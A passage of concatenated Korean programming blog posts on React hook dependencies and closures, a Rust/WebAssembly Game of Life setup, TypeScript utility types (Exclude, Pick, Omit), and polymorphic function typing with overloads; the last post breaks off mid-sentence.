`state`, 즉 상태란 무엇인가? 컴퓨터에서는 '계산을 한 값을 보관해두는 것'이라고 불리우는, 주로 메모리에 들어가 있는 값을 의미한다. 변수에 무언가를 저장할 때 마다 그 변수에 주어진 라이프 타임 동안 상태를 유지하게 된다. 그리고 프로그래밍 패러다임의 유일한 차이는, 이 변수를 얼마나 오래 보관해두느냐, 그리고 이 결정이 어떤 트레이드 오프를 가지고 오느냐 정도로 볼 수 있다.

아래 동일한 작업을 하는 함수형 코드와 객체지향 코드를 살펴보자.

```javascript
class Hello {
  i = 0
  inc() {
    return this.i++
  }
  toString() {
    return String(this.i)
  }
}
const h = new Hello()
console.log(h.inc()) // 1
console.log(h.inc()) // 2
console.log(h.toString()) // "2"
```

```javascript
function Hello() {
  let i = 0
  return {
    inc: () => i++,
    toString: () => String(i),
  }
}
const h = Hello()
console.log(h.inc()) // 1
console.log(h.inc()) // 2
console.log(h.toString()) // "2"
```

여기에서 메모리를 유지하는 메커니즘 (`i`) 은 많은 공통점을 가지고 있다. 클래스는 객체의 인스턴스를 참조하는 `this`를 사용하는 방식으로, 함수형은 범위내 모든 변수를 기억하는 클로져를 활용하는 방식으로 이 기능을 구현했다.

클로져는 함수를 `stateful`하게 만들어 주기 때문에 매우 중요한 개념이라 볼 수 있다. 그러나 클로져의 한가지 중요한 문제점이라고 한다면, 메모리 누수가 쉽게 일어난다는 점이다. 함수가 스코프를 넘어서도 살아있을 수 있기 때문에, 가비지 콜렉터가 이를 수집할 수가 없게 된다. 위 예제에서는, `inc`가 존재하는한, `i`는 가비지 콜렉팅 당하지 않을 것이다.

클로져에서 또한가지 조심해야 할 것은, 명시적 의존성을 암묵적인 의존성으로 바꿔버린다는 것이다. 함수에 인수를 넘겨주면, 그 함수의 의존성은 명시적이라고 볼 수 있지만, 프로그램이 이 클로저가 무엇에 의존성을 가지고 있는지는 알 수 없게 된다. 즉, 클로저가 메모리에 보관하는 값은 호출에 따라서 변화할수도, 그 결과에 따라 다른 값을 만들어 버릴 수도 있다.

## 클로져와 훅

```javascript
function User({user}) {
  useEffect(() => {
    console.log(user.name)
  }, []) // exhaustive-deps

  return <span>{user.name}</span>
}
```

훅에 있는 개념 중 하나는, 의존성에 변화가 있을 때마다 (`dependencies`) 부수효과가 발생한다는 것이다. 예를 들어, `useEffect`는, 엑셀 시트처럼, 부수효과에 필요한 입력값이 달라지는 경우에만 실행된다. `useMemo` `useCallback`도 마찬가지다.

훅은 예제의 `user` 처럼, 해당 스코프에서 정보를 보고 유지할 수 있기 때문에 클로져의 이점을 누릴 수 있다. 그러나, 이러한 종속성이 암묵적이어서, 이 사이드 이펙트가 언제 실행되어야 하는지 알 수 없다.

클로져는 훅 api에 일련의 `dependencies`가 필요한 이유다. 이 결정은 프로그래머가 이러한 암묵적인 의존성을 명확히 하는 책임을 지도록 강요하고, 따라서 일종의 '휴먼 컴파일러'로서 기능한다. dependencies를 선언하는 것은 수동으로 하는 보일러 플레이트 작업이며, C 메모리 관리와 같이 오류가 발생하기 십상이다.

이 문제를 해결하기 위한 리액트의 해결책은 `eslint` 이지만, 리액트 훅을 커스텀 훅으로 구성하면 문제가 또 발생한다.

이 문제를 완전히 피할 수 있는 방법은, 훅을 컴포넌트 외부로 이동시키는 것이다. 이렇게 한다면, 의존관계로 사용할 수 있는 인수를 강제적으로 건내받을 수 있게 된다.

```javascript
const createEffect =
  (fn) =>
  (...args) =>
    useEffect(() => fn(...args), args)
const useDebugUser = createEffect((user) => {
  console.log(user.name)
})

function User({user}) {
  useDebugUser(user)

  return <span>{user.name}</span>
}
```

훅을 클로져 외부로 이동시키면, dependencies를 수동으로 추적하거나 subscription이 부족해지는 문제 (`dependencies`가 모자른)에 직면할 필요가 없다. 그러나 여전히 리액트와 자바스크립트가 두 종속성이 같은지를 판단하는 문제에 대해서는 여전히 취약하다.

## 동일성과 메모리

동일성이라고 한다면, 변하지 않은 것 이라고 이해하 면 쉽다. 예를 들어, 3은 언제나 3이다. 자바스크립트에서는, 이러한 동등 비교를 실행할 수 있는 여러가지 방법이 있다. 예를 들어, `==` `===` `Object.is`는 완전히 다른 방식이며, 각 다른 결과를 얻을 수 있다. `Object.is`의 경우, 연산한 값이 같은지 확인한다.

- 두 개가 `undefined` 인지
- 두 개가 `null`인지
- 두 개가 `true` `false` 인지
- 두 개가 `+0` 인지
- 두 개가 `-0` 인지
- 두 개가 `NaN`인지
- 혹은 0, `NaN`이 아니며 같은 값을 가지고 있는지
- 문자열의 경우, 크기와 구성하고 있는 글자가 같은 순서인지
- 나머지 non-primitive의 경우, 이들은 mutate하기 때문에, 메모리 참조가 같은지 비교한다. 이는 일반적인 개발자의 직관과 다르다. `Object.is([], [])`는 두 배열 객체의 메모리 포인터가 다르므로 `false` 가 나온다.

> [MDN 문서](https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/Object/is#%EC%84%A4%EB%AA%85) 참고

## 훅과 동일 비교

훅은 dependencies를 비교할 때 `Object.is`를 사용한다. 따라서 의존성을 비교했을 때, 이 둘이 다를 때만 실행 된다. 여기서 같다는 것은 `Object.is`를 사용하여 비교한다.

```javascript
const User({ user }) {
  useEffect(() => {
    console.log(`hello ${user.name}`)
  }, [user]) // eslint barked, so we added this dependency

  return <span>{user.name}</span>
}
```

위 컴포넌트에서, `useEffect`는 얼마나 실행될까? 알 수 없다. `user`가 달라지는 횟수 만큼 실행될 것이다. `user`가 메모리에 어떻게 할당되었는지 모른다면, 이 객체가 어떻게 동일 비교를 할 수 있는지 알 수 없다. 즉 이 코드는 동작할 수 있지만, 올바르지 않으며 상위컴포넌트에서 변경이 일어나면 완전히 망가질 수도 있다.

```javascript
function App1() {
  const user = {name: 'paco'}

  return <User user={user} />
}

const user = {name: 'paco'}
function App2() {
  return <User user={user} />
}
```

위 예제에서, 우리는 훅의 미묘한 부분을 알 수 있다.

`App1`은 매번 새로운 객체를 할당한다. 이 객체는 개발자가 볼 때는 항상 동일하지만, `Object.is`가 볼 때는 그렇지 않다. 즉, 이 컴포넌트는 렌더링 할 때마다 `useEffect`가 실행될 것이다.

`App2`는 항상 같은 객체 포인터를 참조한다. 즉, 렌더링 횟수에 관계없이 사이드 이펙트가 실행되는 것은 한번 뿐이다.

실제 코드는 이보다 훨씬 더 복잡하기 때문에, 개발자는 객체가 언제, 얼마나 할당되는지 이해하기 쉽지 않다.

이번엔 실제 프로덕션에서 사용될 법한 코드를 살펴보자.

```javascript
function App({options, teamId}) {
  const [user, setUser] = useState(null)
  const params = {...options, teamId}

  useEffect(() => {
    fetch(`/teams/${params.teamId}/user`)
      .then((response) => response.json)
      .then((user) => {
        setUser(user)
      })
  }, [params])

  return <User user={user} params={params} />
}
```

위 예제는 동일한 요청을 반복적으로 시도할 것이다. 객체를 재구성하게 되면, 렌더링 시마다 새로운 객체를 할당하므로 `useEffect`의 dependencies로 사용하기에는 부적절하다.

## 결론

훅은 다른 기술과 마찬가지로, 새로운 기술로서의 일종의 과대 광고 효과를 어느정도 누렸다고도 볼 수 있다. 많은 개발자가 상태 관리 솔루션 대신, 상태 저장 로직을 구현하기 위해 훅을 채택했다. API는 쉬워 보이지만, 그 내부 동작은 복잡하기 때문에 부정확할 위험이 높아진다.

대부분의 버그는 컴포넌트에서 훅을 떼고, 유일한 의존관계로 primitive 를 사용하여 해결할 수 있다. 타입스크립트를 사용하는 경우, 자체 훅을 만들어 엄격하게 입력하고 관리할 수 있다. 이를 통해 개발자들이 훅이 가진 한계를 이해하는데 큰 도움이 될 수 있다.

```typescript
type Primitive = boolean | number | string | bigint | null | undefined
type Callback = (...args: Primitive[]) => void
type UnsafeCallback = (...args: any[]) => void

const createEffect =
  (fn: Callback): Callback =>
  (...args) => {
    useEffect(() => fn(...args), args)
  }

const createUnsafeEffect =
  (fn: UnsafeCallback): UnsafeCallback =>
  (...args) => {
    useEffect(() => fn(...args), args)
  }
```

---

Source: https://yceffort.kr/2022/03/rust-wasm-project-tutorial-1.md
Title: Rust로 web assembly로 game of life 만들어보기 (1)
Description: 코로나 휴가를 틈탄 러스트 뻘짓
Date: 2022-03-18
Tags: rust, webassembly

## Table of Contents

## Introduction

이 튜토리얼은 [https://rustwasm.github.io/docs/book/game-of-life/introduction.html](https://rustwasm.github.io/docs/book/game-of-life/introduction.html) 에서 제공하는 Rust WebAssembly로 만드는 Game of Life 을 기반으로 작성되었습니다. 직접 튜토리얼을 따라하면서 단순히 번역 이외에도 최신 라이브러리 버전 기준으로 재작성하였으며, 설명이 부족하거나 생략된 부분에 대해서도 별도로 주석을 달았습니다.

기본적으로 러스트에 대한 완벽한 이해를 기반으로 하지 않고 작성되었기 때문에, 일부 러스트 문법에 대한 설명이 적혀있을 수도 있습니다.

## Game of Life?

[라이프 게임, 또는 생명 게임](https://ko.wikipedia.org/wiki/%EB%9D%BC%EC%9D%B4%ED%94%84_%EA%B2%8C%EC%9E%84)은 처음에 입력된 초기값을 기준으로 알아서 시작되는 게임이다.

이 게임은 무한한 개수의 사각형 (이하 세포)로 이루어진 격자위에서 실행된다. 각 세포 주위에는 8개의 이웃 세포가 있으며, 각 세포는 살아있거나 죽어있는 상태를 가진다. 그리고 이 세포의 다음 상태는 다음과 같이 결정된다.

- 죽은 세포 이웃 중 딱 세개 가 살아 있으면 살아난다.
- 살아 있는 세포 중 이웃이 두 개나 세개가 살아있으면 그 세포는 살아있고, 그외에는 죽는다.

## 1. Setup

시작에 앞서 설치해야 하는 기본 언어와 라이브러리는 다음과 같다.

- `rust`
- `rustup`
- `cargo`
- [wasm-pack](https://rustwasm.github.io/wasm-pack/installer/)
- [cargo-generate](https://github.com/ashleygwilliams/cargo-generate): 이 라이브러리는 이미 존재하는 깃 저장소를 기본 템플릿으로 사용하여 빠르게 러스트 프로젝트를 만드는데 도움을 준다.
- `npm`

## 2. Hello, World

### 프로젝트 클론

`wasm-pack` 을 기반으로 한 프로젝트를 빠르게 만들기 위해, 기본적으로 제공하는 프로젝트 템플릿이 존재하는데, 이를 기본으로 프로젝트를 만든다.

```shell
cargo generate --git https://github.com/rustwasm/wasm-pack-template
```

그리고 게임 이름을 입력한다. `wasm-game-of-life`

### 내부 살펴보기

```text
.
├── Cargo.toml
├── LICENSE_APACHE
├── LICENSE_MIT
├── README.md
├── src
│   ├── lib.rs
│   └── utils.rs
└── tests
    └── web.rs
```

### `Cargo.toml`

`Cargo.toml`은 이 패키지에서 필요로하는 의존성과, cargo metadata를 포함하고 있다.

### `src/lib.rs`

```rust
mod utils;

use wasm_bindgen::prelude::*;

// When the `wee_alloc` feature is enabled, use `wee_alloc` as the global
// allocator.
#[cfg(feature = "wee_alloc")]
#[global_allocator]
static ALLOC: wee_alloc::WeeAlloc = wee_alloc::WeeAlloc::INIT;

#[wasm_bindgen]
extern {
    fn alert(s: &str);
}

#[wasm_bindgen]
pub fn greet() {
    alert("Hello, wasm-game-of-life!");
}
```

우리가 이제 만들려고 하는 webassembly의 루트 파일이다. `wasm-bindgen`을 사용하여 자바스크립트 인터페이스와 연결하는 것을 볼 수 있다. 이전에 예제에서 살펴본 것처럼, 이 경우에는 `window.alert`를 구현한 것으로 볼 수 있다.

#### `src/utils.rs`

```rust
pub fn set_panic_hook() {
    // When the `console_error_panic_hook` feature is enabled, we can call the
    // `set_panic_hook` function at least once during initialization, and then
    // we will get better error messages if our code ever panics.
    //
    // For more details see
    // https://github.com/rustwasm/console_error_panic_hook#readme
    #[cfg(feature = "console_error_panic_hook")]
    console_error_panic_hook::set_once();
}
```

작업을 좀더 용이하게 하기 위한 공통 유틸리티를 관리하는 파일이다. wasm 코드 디버깅 등 다양한 일을 할 수 있는데, 일단 이단계에서는 무시한다.

### 빌드

`wasm-pack`을 사용하여 빌드할 경우, 다음의 단계를 거친다.

- rust 1.30 이상이 설치되어 있는지, 그리고 wasm32-unknown-unknown 타깃이 rustup을 통해 설치되어 있는지 확인
- rust 소스를 webassembly .wasm 바이너리로 컴파일
- `wasm-bindgen`을 사용하여 rust webassembly에서 사용할 수 있는 자바스크립트 api를 생성

`wasm-pack build`

빌드가 끝나면, `pkg` 디렉토리 아래에 다음과 같은 내용을 확인할 수 있을 것이다.

```text
./pkg/
├── package.json
├── README.md
├── wasm_game_of_life_bg.js
├── wasm_game_of_life_bg.wasm
├── wasm_game_of_life_bg.wasm.d.ts
├── wasm_game_of_life.d.ts
└── wasm_game_of_life.js
```

#### `pkg/wasm_game_of_life_bg.wasm`

`.wasm` 파일은 러스트 컴파일러가 러스트 소스에서 생성한 WebAssembly 바이러니다. 여기에는 우리가 만든 러스트 함수와 데이터가 wasm 버전으로 컴파일 되어있다. 이 경우에는, `greet()`함수가 있을 것이다.

#### `pkg/wasm_game_of_life.js`

`.js`는 `wasm-bindgen`에 의해 생성되며, DOM 및 자바스크립트 함수를 rust로 import하고, WebAssembly 함수에 대한 api를 자바스크립트에 노출하기 위한 연결 고리를 제공한다. 방금 예제에서는, webassembly에서 보낸 `greet` 함수를 감싸는 javascript `greet` 함수가 존재한다. wasm과 javascript 간에 값을 주고받기 시작하면 이러한 경계를 넘어서는데 도움이 될 것이다.

#### `pkg/wasm_game_of_life.d.ts`

다들 아는 것처럼 `d.ts`는 타입스크립트 코드의 타입 추론을 돕는 파일이다. 만약 타입스크립트를 사용한다면, webassembly 함수를 Import 할 때 도움이 될 것이다. 타입스크립트를 사용하지 않는다면 무시해도 된다.

#### `pkg/package.json`

```json
{
  "name": "wasm-game-of-life",
  "collaborators": ["GitHub <noreply@github.com>"],
  "version": "0.1.0",
  "files": [
    "wasm_game_of_life_bg.wasm",
    "wasm_game_of_life.js",
    "wasm_game_of_life_bg.js",
    "wasm_game_of_life.d.ts"
  ],
  "module": "wasm_game_of_life.js",
  "types": "wasm_game_of_life.d.ts",
  "sideEffects": false
}
```

`package.json`은 자바스크립트와 webassembly 패키지를 만드는데 필요한 메타데이터를 가진 파일이다. `npm`이 이 `package.json`을 사용하고, 자바스크립트 번들러는 이 패키지 내의 의존성, 버전 등을 관리할 수 있게 된다.

### 웹 페이지에서 보기

디렉토리에서, 아래 명령어를 실행하자.

`npm init wasm-app www`

```text
@yceffort ➜ /workspaces/rust-playground/wasm-game-of-life (main ✗) $ npm init wasm-app www
npx: installed 1 in 3.952s
🦀 Rust + 🕸 Wasm = ❤
```

`www` 디렉토리 아래 npm package가 생성된 것을 볼 수 있다.

```text
./www/
├── bootstrap.js
├── index.html
├── index.js
├── LICENSE-APACHE
├── LICENSE-MIT
├── package.json
├── package-lock.json
├── README.md
└── webpack.config.js
```

이 패키지에서, 우리가 사용할 webassembly를 사용할 수 있도록 `dependencies`에 의존성으로 걸어두어야 한다.

```text
...
"dependencies": {
    "wasm-game-of-life": "file:../pkg"
  },
```

그리고 `index.js`를 아래 내용으로 바꾼다.

```javascript
import * as wasm from 'wasm-game-of-life'

wasm.greet()
```

그리고 의존성을 설치한 뒤에, 실행해보면 `alert`가 정상적으로 뜨는 것을 확인할 수 있다.

![wasm-alert](./images/wasm-alert.png)

다음 포스트에서, 이제 구체적으로 game-of-life를 러스트를 통해서 구현해 보자.

---

Source: https://yceffort.kr/2022/03/typescript-omit-exclude-pick.md
Title: 타입스크립트의 Omit은 어떻게 동작할까? Exclude, Pick 부터 알아보기
Description: 헬퍼 타입도 잘 알고 써야 도움이 된다
Date: 2022-03-16
Tags: typescript

## Table of Contents

## exclude

[exclude](https://www.typescriptlang.org/docs/handbook/utility-types.html#excludeuniontype-excludedmembers)는 여러개의 타입이 함께 존재하는 유니언 타입에서 특정 타입을 제거하는 유틸리티 타입이다. `exclude`로 제거할 수 있는 것은 하나의 타입 부터 유니언 까지 가능하다.

```typescript
type T0 = Exclude<'a' | 'b' | 'c', 'a'>
// type T0 = "b" | "c"
type T1 = Exclude<'a' | 'b' | 'c', 'a' | 'b'>
// type T1 = "c"
type T2 = Exclude<string | number | (() => void), Function>
// type T2 = string | number
```

[exclude의 동작방식](https://github.com/microsoft/TypeScript/blob/546a87fa31086d3323ba4843a634863debb75781/lib/lib.es5.d.ts#L1503-L1506)을 보면 다음과 같이 확인할 수 있다.

```typescript
/**
 * Exclude from T those types that are assignable to U
 */
type Exclude<T, U> = T extends U ? never : T
```

### extends

제네릭에서 사용되는 `T extends U`라는 키워드는 **T가 U라는 타입인지** 를 의미한다.

즉, 위 예시를 해석하면 다음과 같다.

> `T`가 `U`의 타입 이라면, `never` (빈 타입)을, 그렇지 않다면 `T` 그자체, 즉 원래대로 돌려준다

## pick

[pick](https://www.typescriptlang.org/docs/handbook/utility-types.html#picktype-keys)은 객체 타입에서, 넘겨받은 키에 해당하는 키만 리턴하는 새로운 객체 타입을 만들어준다.

```typescript
interface Todo {
  title: string
  description: string
  completed: boolean
}

type TodoPreview = Pick<Todo, 'title' | 'completed'>

const todo: TodoPreview = {
  title: 'Clean room',
  completed: false,
}
```

pick이 작동하기 위해서는, 먼저 객체에서 키를 뽑아서 해당 키를 제외해야 하므로, 객체 타입에서 키를 뽑는 법 부터 알아야 한다.

```typescript
keyof Todo // "title" | "description" | "completed" | "createdAt"
```

그 다음, 이 키에 해당 하는 객체 타입의 값만 뽑아 오면 될 것이다.

```typescript
type Pick<T, Key extends keyof T> = {
  [NewKey in key]: T[key]
}
```

작동방식을 확인하면 거의 유사하다는 것을 알 수 있다.

> [타입스크립트 원본 코드 확인해보기](https://github.com/microsoft/TypeScript/blob/546a87fa31086d3323ba4843a634863debb75781/lib/lib.es5.d.ts#L1489-L1494)

## Omit

[omit](https://www.typescriptlang.org/docs/handbook/utility-types.html#omittype-keys) 은 객체 타입 (interface 등)에서 특정 키를 기준으로 생략하여 타입을 내려주는 유틸리티 타입이다.

```typescript
interface Todo {
  title: string
  description: string
  completed: boolean
  createdAt: number
}

// description을 제외
type TodoPreview = Omit<Todo, 'description'>

const todo: TodoPreview = {
  title: 'Clean room',
  completed: false,
  createdAt: 1615544252770,
}
```

마찬가지로 키를 먼저 뽑아온다.

```typescript
type TodoKeys = keyof Todo // "title" | "description" | "completed" | "createdAt"
```

그리고 이번에는 해당하는 값을 가져오는 것이 아니고, 제거를 해야한다. 여기서 부터 조금씩 복잡해지는데, 하나씩 해보자.

먼저 앞서 사용했던 `Pick`과 `Exclude`를 활용하여, `TODO`에서 `title`만 제거해보자.

```typescript
type TodoWithoutTitle = Pick<Todo, Exclude<keyof Todo, 'title'>>
// type TodoWithoutTitle = {
//     description: string;
//     completed: boolean;
//     createdAt: number;
// }
```

이를 깔끔하게 제네릭으로 정리하면 다음과 같다.

```typescript
type Omit<T, K> = Pick<T, Exclude<keyof T, K>>
```

객체의 키로 `string`, `number`, `symbol`만 가능하기 때문에, 조금 아래와 같이 추가할 수도 있다.

```typescript
type Omit<T, K extends keyof string | number | symbol> = Pick<
  T,
  Exclude<keyof T, K>
>
```

> https://github.com/microsoft/TypeScript/blob/546a87fa31086d3323ba4843a634863debb75781/lib/lib.es5.d.ts#L1513-L1516
> 뭔가 저건 과하다고 생각한건지 `any`로 퉁쳤다.

### Omit 과정 다시한번 살펴보기

```typescript
interface Todo {
  title: string
  description: string
  completed: boolean
  createdAt: number
}

type TodoWithoutTitle = Omit<Todo, 'title'>

type TodoWithoutTitle = Pick<Todo, Exclude<keyof Todo, 'title'>>

type TodoWithoutTitle = Pick<
  Todo,
  Exclude<'title' | ' description' | 'completed' | 'createdAt', 'title'>
>

type TodoWithoutTitle = Pick<
  Todo,
  | ('title' extends 'title' ? never : 'title')
  | ('description' extends 'title' ? never : 'description')
  | ('completed' extends 'title' ? never : 'completed')
  | ('createdAt' extends 'title' ? never : 'createdAt')
>

type TodoWithoutTitle = Pick<
  Todo,
  never | 'description' | 'completed' | 'createdAt'
>

type TodoWithoutTitle = {
  [Key in 'description' | 'completed' | 'createdAt']: User[Key]
}

type TodoWithoutTitle = {
  description: Todo['description']
  completed: Todo['completed']
  createdAt: Todo['createdAt']
}

type TodoWithoutTitle = {
  description: string
  completed: boolean
  createdAt: number
}
```

---

Source: https://yceffort.kr/2022/03/polymorphic-function-in-typescript.md
Title: 타입스크립트의 함수의 다형성
Description: mapped type과 오버로딩, 어떤걸 쓰는게 좋을까?
Date: 2022-03-14
Tags: typescript

## Table of Contents

## Introduction

자바스크립트의 경우를 먼저 생각해보자. 자바스크립트는 함수에 넘기는 인수를 다른 타입으로 하거나, 혹은 다른 위치에 넣는 등 함수가 넘겨받는 인수의 구조를 유연하게 작성할 수 있다. 아래 실제 api를 살펴보자.

- [node.js의 filehandle.write](https://nodejs.org/api/fs.html#filehandlewritebuffer-offset-length-position)
  - `filehandle.write(buffer)`
  - `filehandle.write(string)`
- [node-postgress](https://node-postgres.com/features/queries)의 쿼리
  - `client.query('query', (err, res) => ...)`
  - `client.query('query', ['value1', value2'] (err, res) => ...)`

이런 함수의 다향성을 쉽게 타이핑하기 위해서는 어떻게 해야할까?

## `Union`

`Union` 타입을 쓰는 것은 다른 타입의 인수를 허용하는 함수를 작성할 때 가장 먼저 떠오르는 방법일 것이다.

```typescript
declare function foo(a: string | number)
```

여기서 `a`는 `string` `number` 둘다 될 수 있으므로, 다양한 타입의 인수가 필요하다면 `Union`을 쓰는 것은 적절해보인다. 그리고 내부에 타입 가드 함수를 추가하여 함수 내부에서 적절하게 필요한 타입을 좁힐 수 있다.

```typescript
function foo(a: string | number) {
  if (typeof a === 'string') {
    // do something...
  }

  if (typeof a === 'number') {
    // do something...
  }
}
```

그렇다면, 리턴 타입이 인수가 어떤 타입이느냐에 따라 달라진다고 가정해보자. 그렇다면 어떻게 타이핑하는 것이 좋을까? 여기에서는 제네릭 타입을 이용하여 인수를 타이핑 하는 것이 좋을 것이다. 그리고 이를 올바른 리턴 값에 따라 조건부로 타이핑 하면 될 것이다.

이러한 문제를 한번 예시로 들어보자. `int`라고 하는 인수가 온다면 랜덤한 숫자를, `char`라는 인수가 온다면 랜덤한 글자를 반환하는 함수를 작성해보자. 먼저 자바스크립트다.

```typescript
function getRandom(str) {
  if (str === 'int') {
    // generate a random integer
    return Math.floor(Math.random() * 10)
  } else {
    // generate a random char
    return String.fromCharCode(97 + Math.floor(Math.random() * 26))
  }
}
```

이를 타입스크립트에서 적절하게 타이핑 하기 위해서는, 아래와 같은 순서로 작업을 해야 한다.

- 먼저 `str`이 `"int" | "char"`와 같은 유니언 타입으로 선언하고, 리턴 타입을 이에 의존하도록 해야 한다. 이를 위해서는, 우리는 제네릭 타입을 사용해야 한다.
- 앞서 만든 제네릭 조건부 타입을 `GetReturnType` 이라 불리는 타입에 넘겨주어, `T`에 따라 올바른 리턴 타입이 올 수 있도록 해야 한다.

위 두 조건을 구현한 식이다.

```typescript
type GetReturnType<T> = T extends 'char' ? string : T extends 'int' ? number : never

function getRandom<T extends'char' | 'int'>(str: T): GetReturnType<T> {
  if (str === 'int') {
    // generate a random number
    return Math.floor(Math.random() * 10) as GetReturnType<T>
  } else {
    // generate a random char
    return String.fromCharCode(97+Math.floor(Math.random() * 26)) as GetReturnType<T>
}
```

이제, 여기서 한단계 더 뇌절해서 랜덤 `boolean`도 지원한다고 가정해보자.

```typescript
type GetReturnType<T> = T extends 'char'
  ? string
  : T extends 'int'
    ? number
    : T extends 'bool'
      ? boolean
      : never

function getRandom<T extends 'char' | 'int' | 'bool'>(
  str: T,
): GetReturnType<T> {
  if (str === 'int') {
    // generate a random number
    return Math.floor(Math.random() * 10) as GetReturnType<T>
  } else if (str === 'char') {
    // generate a random char
    return String.fromCharCode(
      97 + Math.floor(Math.random() * 26),
    ) as GetReturnType<T>
  } else {
    // generate a random boolean
    return Boolean(Math.round(Math.random())) as GetReturnType<T>
  }
}
```

위 코드에서 볼 수 있듯이, 타입이 하나씩 함수에 추가될 때 마다 확장하는 과정이 부담스러운 것을 볼 수 있다. 다행이도, 이러한 과정은 제네릭 타입을 받는 대신에 아래처럼 객체 타입으로 하면 좀더 쉬워 진다.

```typescript
type ReturnTypeByInputType = {
  int: number
  char: string
  bool: boolean
}

function getRandom<T extends 'char' | 'int' | 'bool'>(
  str: T,
): ReturnTypeByInputType[T] {
  if (str === 'int') {
    // generate a random number
    return Math.floor(Math.random() * 10) as ReturnTypeByInputType[T]
  } else if (str === 'char') {
    // generate a random char
    return String.fromCharCode(
      97 + Math.floor(Math.random() * 26),
    ) as ReturnTypeByInputType[T]
  } else {
    // generate a random boolean
    return Boolean(Math.round(Math.random())) as ReturnTypeByInputType[T]
  }
}
```

`document.querySelector`를 생각해보자. 이 함수는 여러가지 다양한 태그명을 인수로 받고, 그에 맞는 요소를 리턴한다. [타입스크립트의 `lib.dom.d.ts`를 보면 이러한 구현 내용](https://github.com/microsoft/TypeScript/blob/ca00b3248b1af2263d0223d68e792b7ca39abcab/lib/lib.dom.d.ts#L11050-L11052)을 볼 수 있다.

### 그런데 타입 단언은 왜 필요할까?

위 코드를 보면 거추장스럽게 모든 리턴문에 `as ReturnTypeByInputType[T]`가 붙어 있는 것을 볼 수 있다. 이는 타입스크립트 3.5 부터 추가된 리턴 값에 https://www.typescriptlang.org/docs/handbook/2/indexed-access-types.html (여기에서는 `as ReturnTypeByInputType[T]`)를 주기 위해서다. 해당 인덱스에서 선택한 속성 (타입)의 모든 가능한 intersection에 대해서 리턴 타입을 체크해야 하기 때문이다. 위 예제에서는, 리턴 값이 `ReturnTypeByInputType[T]` 모두를 만족하거나, `number & string & boolean`을 모두 만족하는 intersection 타입을 넘겨주거나 (그런 타입은 `never` 뿐이다) 해야 한다. 양쪽 두 조건을 모두 만족하는 것은 `never` 뿐이므로, `as never`로 작성해도 작동한다.

타입 단언은 본질적으로 안전하지 않은 방식이다. 이를 함수 오버로딩으로 해결하는 방식도 있다. 그러나 두개다 사실 그정도로 안전하지는 않다.

## 옵셔널 파라미터

옵셔널 파라미터 또한 매우 일반적인 방식으로, 파라미터를 정의하여 사용할 수 있으며, 정의 되지 않은 파라미터에 대해서는 검사할 필요도 없다.

타입스크립트에서는, `?`를 사용하면 된다.

```typescript
declare function foo(a: string, b?: boolean)
```

여기에서는 결과적으로, `b`는 `boolean | undefined` 형태의 union 타입이 된다.

이러한 옵셔널 파라미터의 제공 여부에 따라서 다른 유형의 값을 리턴하는 패턴도 일반적으로 볼 수 있다.

검색 결과를 비동기로 가져오는 `search` 함수가 있다고 가정해보자. 이 함수는 콜백 함수를 인수로 받는다. 이 콜백 인수가 있으면, 검색 결과를 콜백 함수로 전달한다. 그렇지 않으면 검색 결과를 확인 할 수 있는 `Promise`를 반환한다.

```javascript
function search(query, cb) {
  const res = api(query)
  if (cb) {
    res.then((data) => cb(data))
    return
  }

  return res
}

const p = search('foo') // return a promise
const v = search('foo', (data) => {}) // void
```

타입스크립트에서는, 이 함수를 다음과 같은 과정으로 타이핑 할 수 있다.

- `cb`를 `?`와 함께 옵셔널 파라미터로 지정한다.
- `cb` 의 타입을 제네릭으로 타이핑 한다.
- `extends` 키워드를 사용하여 올바른 타입으로 타이핑 한다.

```typescript
type Callback = (results: Result[]) => void

function search<T extends Callback | undefined = undefined>(
  query: string,
  cb?: T,
): T extends Callback ? void : Promise<Result[]> {
  const res = api(query)

  if (cb) {
    res.then((data) => cb(data))
    return undefined as void & Promise<Result[]>
  }

  return res as void & Promise<Result[]>
}

const p = search('key') // ✅ Promise<Result[]>
const v = search('key', (data) => {}) // ✅ void
```

여기서 확인할 수 있는 사실은 다음과 같다.

- `extends` 라고 하는 조건부 표현을 사용하여 올바른 리턴타입을 정의 했다.
- 타입 단언이 역시나 필요하다.

여기도 타입단언이 추가되면서 꽤나 복잡해졌다. 만약 복잡한 다형성 함수가 필요하다면, 더 나은 다음의 대안을 쓰는게 좋을 수도 있다.

## 함수 오버로드

타입스크립트는 함수 오버로드를 지원하고 있다. 이 타입스크립트의 함수 오버로드는 1.1 부터 볼 수 있던 오래된 기능이다. 그러나 타입스크립트 초기 개발 중에 추가된 다른 기능들과는 다르게, (enum 등) 이 오버로드 기능은 잘 쓰이지 않는 경향이 있다.

아마도 함수 오버로드를 잘 사용하지 않는 이유는 자바스크립트 개발자들에게는 조금 낯선 개념이라 그런게 아닐까 싶다. 자바스크립트에서는, 함수 오버로드가 없다. 자바스크립트는 특정 스코프에서는 특정한 명칭을 가진 하나의 함수만 존재할 수 있다.

그러나 동적 타입 언어세너는, 자바스크립트의 타입 체크가 런타임 중에 일어난다. 이 말은 함수의 인수를 동적으로 우리가 필요한 만큼 가질 수 있으며, 이는 마치 함수 오버로드와 같이 동작한다는 것이다.

### 함수 오버로딩 구현하기

인수가 숫자라면 이를 문자로, 반대로 문자라면 숫자로 리턴하는 함수를 구현한다고 가정해보자. 자바스크립트에서는 아마 이렇게 구현할 것이다.

```typescript
function switchIt(input) {
  if (typeof input === 'string') return Number(input)
  else return String(input)
}
```

이를 앞선 예제와 같은 형식으로 타입스크립트에서 구현한다면 이렇게 될 것이다.

```typescript
function switchIt<T extends string | number>(
  input: T,
): T extends string ? number : string {
  if (typeof input === 'string') {
    return Number(input) as string & number
  } else {
    return String(input) as string & number
  }
}

const num = switchIt('1') // has type number ✅
const str = switchIt(1) // has type string ✅
```

이것을 함수 오버로딩 방식으로 타이핑 할 것이다.

- 먼저 두개의 다른 시그니쳐를 만든다.
- 오버로드한 함수의 구현부를 작성한다.
  - 유니언 타입으로 각 인수의 타입을 받는다.
  - 함수 내부에서는, 타입 가드를 사용하여 적절한 처리를 추가한다.

```typescript
function switchIt_overloaded(input: string): number
function switchIt_overloaded(input: number): string
function switchIt_overloaded(input: number | string): number | string {
  if (typeof input === 'string') {
    return Number(input)
  } else {
    return String(input)
  }
}
```

함수 오버로드를 사용하여,

- 제네릭과 조건부 타입을 제거
- 타입 단언 제거

이 덕분에

